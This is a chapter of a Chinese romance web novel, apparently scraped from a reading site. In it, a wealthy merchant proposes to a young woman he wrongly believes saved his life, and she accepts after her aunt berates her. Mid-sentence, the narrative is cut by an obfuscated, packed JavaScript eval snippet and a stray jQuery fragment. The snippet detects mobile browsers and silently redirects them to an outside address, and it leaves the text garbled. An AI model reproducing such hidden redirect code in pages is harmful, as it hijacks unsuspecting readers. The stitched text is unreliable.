15. 第 15 章

作品:《冒牌货(先婚后爱)

    “你是说,你想我,赐一桩婚事给你?”此时南珠已经无法再将注意力放在奏折上了,她搁下笔,直了直腰背,眯眼看向坐在下方的人。


    南流景微微掀起眼皮,神情没什么波动,坦然自若地应了一声。


    如此平淡,倒有些奇怪,但这毕竟是弟弟第一次在她面前提起相关的事宜,南珠还是多了几分耐心:“哪家的姑娘?你们怎么认识的?你已经与她说定了?”


    南流景道:“您不认识她,不过应当早就听说过她。”说到最后一个问题,他停顿了片刻,“我还没同她说过此事。”


    南珠拧眉,语气微微严厉:“没说过你就敢过来让我赐婚?”


    南流景不咸不淡道:“这不是应当的吗?总不能她答应了,我再转口一句‘我说了不算我得问问我姐’。”


    与做生意不同,在这种事上,南流景有自觉承担最基本的责任。


    南珠沉默了一会,没有说明到底是同意或不同意,而是提出一个很有趣的假设:“若她不答应呢?”


    “……”


    -


    南流景站在林霏清床前,微微转动眼珠,将她的一切反应收入眼底。


    茫然,无措,当然还有些许防备。


    唯独没有被冒犯的不适愤怒,一点点都没有。


    南流景想起那夜接林霏清时,她手上那支作为武器,却干干净净的木簪。


    起码现在,她还不能及时迅速地做出保护自己的决定。


    若非那夜的笑意是他真真切切看到的,恐怕他也不会相信,面前这姑娘真的救了自己。


    但代价太大,只是二十两,她就差点死在那。


    南流景不打算只给林霏清二十两,也不打算让她再重新回到那里,既然她现在还保护不了自己,那他可以帮忙代劳。


    南流景做了决定。


    他道:“而我想在你伤好之后,与你详谈一番,你我二人的婚事。”


    这是他第一次求婚,想来这辈子也没机会再求第二次。


    看林霏清瞬间愣住,南流景也不催促,静静望着她。


    片刻后她的表情变了,意料之中的惶然,看样子已经开始思考要如何委婉地拒绝他。


    南流景想起长姐的疑问:她要是不答应呢?


    总有办法的。


    “赵栋的情况不大好,你差一点彻底废了他。”林霏清其实很好说服,南流景最开始做生意时也不怕这样的谈判对象,他不带情绪地描绘着场景,“虽说不是没得治,但赵家治不起,若无意外,这辈子也就这样了。”


    林霏清被这话吓得脸色微白。


    南流景微不可查地停顿了下,继续道:“赵福何雁现在是没工夫找你,但若你主动送上门,你猜猜有几分活路?”


    林霏清:……


    她看向他的目光终于有些气愤了。


    南流景当然不觉得林霏清会迟钝到将赵福何雁看做纯质良善的好人,或许她没打算真的回去,只是不想住在他这里才找的借口。


    但不论回荷花村还是她自己想办法谋生,这两条路南流景都不打算让她走。


    他一开始打算直接解决掉赵福一家,但那支木簪连血都没有沾,对他们动手,她会不高兴。


    而现在,她也不高兴了,是因为他越界了吗?


    按照南流景原本的计划,后面还有更直白残酷的话等着,毕竟打一个巴掌给一个甜枣,巴掌够狠,给甜枣的时候才足够动摇她。


    南流景已下定决心,哪怕手段强硬也要将林霏清留在这里。


    他居高临下地俯视着她,正欲开口,林霏清的反应却让他突然噤声。


    林霏清没有哭,也没有继续生气,方才一瞬间的愤懑仿若南流景的错觉,她只是微微垂下眼,避开他的视线,做出聆听的模样。


    驯顺、乖巧、沉默。到底谁教她被伤害时要如此反应?


    南流景只觉胸口发闷,默了默,到底没说出更过分的话:“我并非要你与荷花村断绝关系,你可以回去,也可以继续帮扶赵福他们,只是若下次我来迟了呢?”


    他的语气没什么起伏,仿佛在陈述一件最寻常的事实:“你独自回去,若出了什么事,我会觉得是我的责任。”


    闻言,林霏清微微抬起眼皮,飞快地看了他一眼又垂下睫,低声道:“我不知道您是这样负责的一个人。”


    “……”


    南流景盯着她看她几息,最终扯了扯嘴角,忍不住呛声:“没想到我除了漂亮外还有旁的好处?”


    林霏清一噎,记起那日想要说南老板好话,憋了半天却只出来一句“看您好看”。


    呼应一般,方才看南老板那一眼在脑海中变得清晰。


    乌发白肤,高瘦挺拔,五官秾艳精致,简单的装束也掩不住满身矜贵。


    美丽、富有、负责,可这样的一个人,为何到现在还没有成亲呢?


    林霏清犹豫片刻,还是没忍住问出声。


    南流景答得很果断:“因为不想。”


    每个人都有许多不得已而为之的事情,但在这些事情之外,南流景不会勉强自己做不想做的事。


    林霏清不明白:“不想就可以不做吗?”


    “于我而言,起码在这件事上,不想就可以不做。”


    “……您向我求亲是因为想这样做吗?”


    “对。”南流景斩钉截铁。


    林霏清声音越发细弱:“可为什么是我呢?”


    南流景扬了扬眉,面色稍霁:“你是想要我说服你吗?”


    毕竟若是想要拒绝他,用不着问这么多无关的问题。


    林霏清下意识张嘴想要反驳,却又觉得好像无从开口,她有些泄气地闭上嘴,静静等待南流景回应。


    南流景看着她道:“因为二十两根本不够买我的命。”


    “什么?”


    南流景不禁因她的迟钝叹了口气:“救命之恩,区区二十两如何足够报偿?”


    他有钱,也只有钱,若拿到钱能让林霏清无忧地过完下半生,他会直接把钱给她,若她一个人现在还做不到,他就想办法,顺顺当当地把钱送到她手里。


    ……


    ………


    …………


    “……救命之恩?”林霏清喃喃。


    南流景的救命之恩,跟她有什么关系。


    当初做了善事的,是阿香呀……


    林霏清停住呼吸,忽然明白了什么。


    南流景突然转变态度,莫名来到荷花村,本不该由他负的责任……细想之下处处怪异的地方都有了答案。


    原是如此,竟是如此。


    南流景根本不知道阿香,而是将她误以为当初的救命恩人。


    从头到尾,只是一个误会。


    林霏清一时有些失落,又觉得本该如此。


    她这种人,南流景怎么可能同她求亲。


    她应该告知实情。


    话到嘴边,却又顿住。


    林霏清并非没有听进去南流景方才的话,相反,她比南流景更清楚回去之后的后果。


    其实想来,若非南流景来寻她,早在她伤了赵栋之时,便会被打死了。


    “……您让我考虑一下,好吗?”


    半晌,林霏清垂下眼,避开南流景的目光,低声道。


    南流景盯着她看了一会,道:“好。”


    林霏清勉强扯出个笑:“多谢。”


    -


    来到院外,银元迅速跟在南流景身后禀报:“那人名赵书源,今年十九,七年前考中秀才,六月初动身前往川阳书院读书。父母皆是荷花村村民,但父亲早年病逝,由其母温纯养育成人……”


    “等等,”南流景突然打断他,“父亲病逝?他本人呢?”


    银元一板一眼道:“没查到身体上有什么问题。”


    南


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784600|189811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流景沉吟了片刻,又问:“还未定亲吧?”


    “尚未。”


    “也没什么红颜知己?”


    “没有。”


    “好。”南流景加快了脚步,一边吩咐:“联系川阳书院的山长,请他多照顾些这个……”


    “赵书源。”银元接话。


    “再去查一查赵福一家,尤其是十年前左右,他们家有什么大事。”南流景微微偏过目光,看着银元,咬字重了几分,“你亲自去,仔细些。”


    银元颔首:“属下明白。”


    南流景眸光微沉,哪怕只短暂接触了几次,他也不觉得赵福一家有照顾一个无父无母的孤女十年的责任心,事出反常,必有妖异。


    -


    之后几日林霏清再没见过南流景,据侍女说南流景在那日与她见过面后便搬去了另一间府邸。


    林霏清这才意识到南流景那日说的“没有人会打扰你,我也不会”到底是什么意思。


    府上医师待她极为尽心,照顾她的侍女也进退得宜,但林霏清却始终惶惶不可安心,直到某日有人通传,她的舅母来见她,这份惶然终于达到顶端。


    林霏清必然不可能将何雁拒之门外,须臾,何雁被带进来,两人第一次在这样的场合见面,一时都有些尴尬。


    还是林霏清率先开口:“舅母,您请坐。”


    她还不能下地,坐在床上说这话时,敏锐地注意到何雁眉头飞快地蹙了蹙,这一般是她即将要发怒的前兆,但这次,何雁什么都没说,看了她一眼后坐在了一旁的椅上。


    两人都默契地没有提起林霏清捅的那一簪。


    侍女退下,何雁左右打量了一番周遭装潢,稳重着没做出什么举动,只略有些尖锐地开口:“我竟不知你有如此心胸,只怕早瞧不上荷花村这种小地方,想飞出来了吧?”


    林霏清微微抿了抿唇。


    所以舅母是知道她想跟赵先生去川阳书院了吗?


    事到如今,也没有再瞒的必要了,林霏清歉疚道:“抱歉。您是什么时候知道的?”


    没料到她会直接承认,何雁的表情瞬间僵在脸上。


    还什么时候知道的?那奸夫都跑到家里来了难道还指望她看不见吗?


    林霏清微微垂睫,第一次在何雁面前坦白自己内心的想法:“我那日听到您与舅舅有意撮合我与表兄,一时有些吓住了,想着暂时离开荷花村,待两三年后再回来。舅母,我求求您,我真的不愿意……”


    这话落在何雁耳中却是不知悔改的借口。她火气顿时窜了上来,厉声打断:“合着你自己心术不正还赖我们是吧?早知道你这丫头心思这么深,当初我就不该同意把你接过来!”


    林霏清微怔,忙辩解道:“我不是这个意思……”


    “你还敢顶嘴?”一时也顾不上还在南府,何雁几步跨到林霏清床前,一下一下戳着她的肩膀:“养条狗它都知道护在我跟前,你呢?这么多年饭吃到哪里去了?”


    林霏清被戳得歪歪扭扭,感觉自己像一根兔草,或者是别的什么东西。


    反正是很容易被折断的东西。


    “早说你想干这个,当初春风楼的人要你的时候我就该把你送过去,现在还说不定记着我的恩!”


    何雁还在唾沫横飞,林霏清却渐渐听不进去了。


    她想起南流景的求亲,想起那顿打,想起阿香的话。


    “清清,保护自己的机会只有一次,你一定要把握住。”


    原来真正的机会在这里。


    阿香,你说得对,保护自己的机会真的只有一次。


    我不会错过的。


    “秦柳。”林霏清第一次主动叫了南流景派来的侍女的名字。


    视线越过何雁,落到立刻出现在珠帘后的秦柳身上,林霏清仿佛飘了起来,飘在半空,她看着床上的自己平静开口。


    “麻烦你告诉南老板,我答应他了。”